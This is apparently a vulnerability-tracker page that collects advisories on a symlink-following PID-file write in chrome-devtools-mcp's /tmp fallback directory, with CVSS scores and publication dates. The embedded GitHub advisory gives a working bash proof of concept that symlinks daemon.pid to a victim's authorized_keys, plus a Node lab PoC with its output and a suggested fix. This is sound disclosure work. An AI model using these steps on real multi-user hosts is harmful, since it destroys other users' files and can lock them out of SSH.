chrome-devtools-mcp: daemon.pid write follows symlinks in /tmp fallback runtime directory

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.

Source published

24 Jun 2026 21:30:42 UTC

Source modified

26 Jun 2026 18:43:32 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 6.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.

Source published

Jun 24, 2026, 9:30:42 PM (timezone not stated)

Source modified

Jun 26, 2026, 6:43:32 PM (timezone not stated)

Observed here

7 Nov 2026 11:38:51 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in 1.1.0.

Source published

24 Jun 2026 22:16:47 UTC

Source modified

25 Oct 2026 23:10:00 UTC

Observed here

27 Oct 2026 14:13:22 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

### Summary The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`. Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string. This report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements. ### Details Affected code: `src/daemon/daemon.ts:38-42` ```ts const pidFilePath = getPidFilePath(sessionId); fs.mkdirSync(path.dirname(pidFilePath), { recursive: true, }); fs.writeFileSync(pidFilePath, process.pid.toString()); ``` `src/daemon/utils.ts:49-68` ```ts export function getRuntimeHome(sessionId: string): string { const platform = os.platform(); const uid = os.userInfo().uid; const suffix = sessionId ? `-${sessionId}` : ''; const appName = APP_NAME + suffix; if (process.env.XDG_RUNTIME_DIR) { return path.join(process.env.XDG_RUNTIME_DIR, appName); } if (platform === 'darwin' || platform === 'linux') { return path.join('/tmp', `${appName}-${uid}`); } return path.join(os.tmpdir(), appName); } ``` The `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID. Preconditions: - The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset. - The attacker has any local user account on the same host. - The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode. ### PoC Realistic POSIX scenario: ```bash # Attacker, before victim starts daemon mode. victim_uid=1000 mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}" chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}" ln -s "/home/victim/.ssh/authorized_keys" \ "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid" # Victim later starts daemon mode. chrome-devtools start # Result: # fs.writeFileSync follows the symlink, so authorized_keys is truncated to # the daemon PID string. ``` Lab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory: ```js const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path'); const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-')); try { fs.chmodSync(lab, 0o755); const victimSecret = path.join(lab, 'victim-secret.txt'); fs.writeFileSync( victimSecret, 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n', ); const runtimeDir = path.join(lab, 'attacker-pre-created'); fs.mkdirSync(runtimeDir, {recursive: true}); const pidFilePath = path.join(runtimeDir, 'daemon.pid'); fs.symlinkSync(victimSecret, pidFilePath); // Exact pattern from src/daemon/daemon.ts:39-42. fs.mkdirSync(path.dirname(pidFilePath), {recursive: true}); fs.writeFileSync(pidFilePath, process.pid.toString()); console.log(fs.readFileSync(victimSecret, 'utf8')); // -> "<pid>" (victim file was truncated/overwritten) } finally { fs.rmSync(lab, {recursive: true, force: true}); } ``` Observed output from the lab PoC: ```text [setup] victim secret BEFORE attack: IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED [attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret> [victim ran daemon] victim secret AFTER: <pid> [lstat pidFile] still symlink [outcome] victim file was overwritten via attacker-placed symlink. ``` I can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards. ### Impact Who can exploit: Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session. Security impact: - Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string. - Availability: critical user configuration files can be corrupted until restored from backup. - Confidentiality: none directly; the written content is only the PID string. Example targets affected by truncation: - `~/.ssh/authorized_keys`, causing the victim to lose SSH access. - `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup. - Project `.env`, `secrets.json`, license files, or line-oriented config files. - Logs or local audit files writable by the victim. Suggested fix: Open the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing: ```ts import {constants, openSync, writeSync, closeSync} from 'node:fs'; const fd = openSync( pidFilePath, constants.O_WRONLY | constants.O_CREAT | constants.O_TRUNC | constants.O_NOFOLLOW, 0o600, ); writeSync(fd, process.pid.toString()); closeSync(fd); ```

Source published

17 Jun 2026 14:01:04 UTC

Source modified

21 Jul 2026 13:45:26 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Publisher rating · MODERATE